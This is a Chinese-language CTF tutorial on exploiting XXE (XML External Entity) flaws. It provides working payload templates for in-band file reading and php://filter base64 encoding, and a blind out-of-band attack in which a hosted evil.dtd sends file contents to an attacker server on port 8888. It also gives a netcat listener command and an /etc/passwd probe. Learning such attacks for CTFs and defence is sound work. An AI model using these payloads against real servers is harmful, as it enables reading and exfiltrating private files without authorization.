一、XXE 漏洞简介
XXE (XML External Entity) 漏洞允许攻击者通过构造恶意的 XML 输入,强迫服务器的 XML 解析器执行非预期的操作。在 CTF 场景中,最常见的利用方式是让解析器读取服务器上的敏感文件,并将其内容返回给攻击者。
二、核心攻击载荷 (Payloads)
根据靶机是否在响应中直接返回注入内容,攻击方式可分为“有回显”和“无回显”两种。
1. 有回显的 XXE (In-Band XXE)
这是最直接的情况,服务器会将读取到的文件内容显示在返回页面上。
基础文件读取
通过定义一个外部实体来加载本地文件,并在 XML 的某个字段中引用该实体。
Payload 模板:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ctf [
<!ENTITY xxe SYSTEM "file:///path/to/your/flag">
]>
<root>
<data>&xxe;</data>
</root>
关键点:
<!ENTITY xxe SYSTEM "file:///path/to/your/flag">: 定义一个名为 xxe 的实体,其内容来自指定的本地文件路径。
&xxe;: 在 XML 数据中引用该实体,解析器会将其替换为文件内容。
使用 PHP Filter 绕过
当文件内容包含特殊字符(如 <、>)导致 XML 解析失败,或靶机后端为 PHP 时,可以使用 php://filter 将文件内容进行 Base64 编码后输出,避免解析错误。
Payload 模板:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ctf [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/path/to/your/flag">
]>
<root>
<data>&xxe;</data>
</root>
使用方法:
发送 Payload。
将返回的 Base64 字符串进行解码,即可获得原始 Flag。
2. 无回显的 XXE (Blind XXE OOB)
当服务器不返回任何注入相关的数据时,需要采用带外攻击(Out-of-Band),让服务器主动将数据发送到攻击者控制的公网服务器上。
攻击流程:
准备公网服务器: 准备一台有公网 IP 的服务器,并监听一个端口(例如 nc -lvp 8888)。
构造两部分 Payload:
a. 发送给靶机的 Payload:
此 Payload 定义了两个参数实体,一个用于读取文件,另一个用于加载位于攻击者服务器上的恶意 DTD 文件。
<?xml version="1.0"?>
<!DOCTYPE ctf [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % dtd SYSTEM "http://your-attacker-server.com/evil.dtd">
%dtd;
]>
<root><data>blind</data></root>
b. 在攻击者服务器上创建 evil.dtd 文件:
这个 DTD 文件会构造一个最终请求,将之前读取并编码好的文件内容(%file)作为参数,发送到攻击者服务器的监听端口。
<!ENTITY % send "<!ENTITY % exfil SYSTEM 'http://your-attacker-server.com:8888/?data=%file;'>">
%send;
接收 Flag: 在攻击者服务器的监听端口上,会收到一个包含 Base64 编码 Flag 的 HTTP 请求。
深度解析:为什么需要“两步走”的攻击?
这是一个关键问题。直接在同一个 DTD 块中完成“读取文件”和“发送数据”两个操作是行不通的,因为这违反了 XML 的规范。
限制: XML 解析器在解析一个 DTD 块时,不允许在其内部的一个实体定义中,引用同一个 DTD 块中刚刚定义的另一个参数实体来构造外部请求。这是一种安全限制,防止了过于复杂的嵌套操作。
绕过方法: 两步走的攻击巧妙地绕过了这个限制。
第一步(主 Payload): 让靶机先执行第一个任务——读取文件并存入参数实体 %file。然后,让它去请求外部的 evil.dtd 文件。
第二步(evil.dtd): 当靶机开始解析 evil.dtd 时,它进入了一个全新的解析上下文。在这个新环境中,%file 实体是一个已经存在、已知的值,而不是正在定义的。因此,evil.dtd 中的指令可以自由地使用 %file 的内容来构造新的 HTTP 请求,从而将数据发送出来。
简单来说,通过加载外部 DTD,我们欺骗了解析器,创造了一个新的执行环境,使得原本被禁止的操作变得可行。
三、CTF 解题通用策略
漏洞测试: 首先使用一个已知存在的文件(如 file:///etc/passwd)来确认 XXE 漏洞是否存在以及是否有回显。
路径猜测: 根据题目提示和常见配置,猜测 Flag 文件的绝对路径(如 /flag, /flag.txt, /root/flag.txt 等)。
优先直接读取: 总是先尝试最简单的有回显文件读取方法。
编码绕过: 如果直接读取失败,尝试使用 php://filter 进行 Base64 编码。
盲打带外: 如果确认无回显,采用 Blind XXE OOB 策略。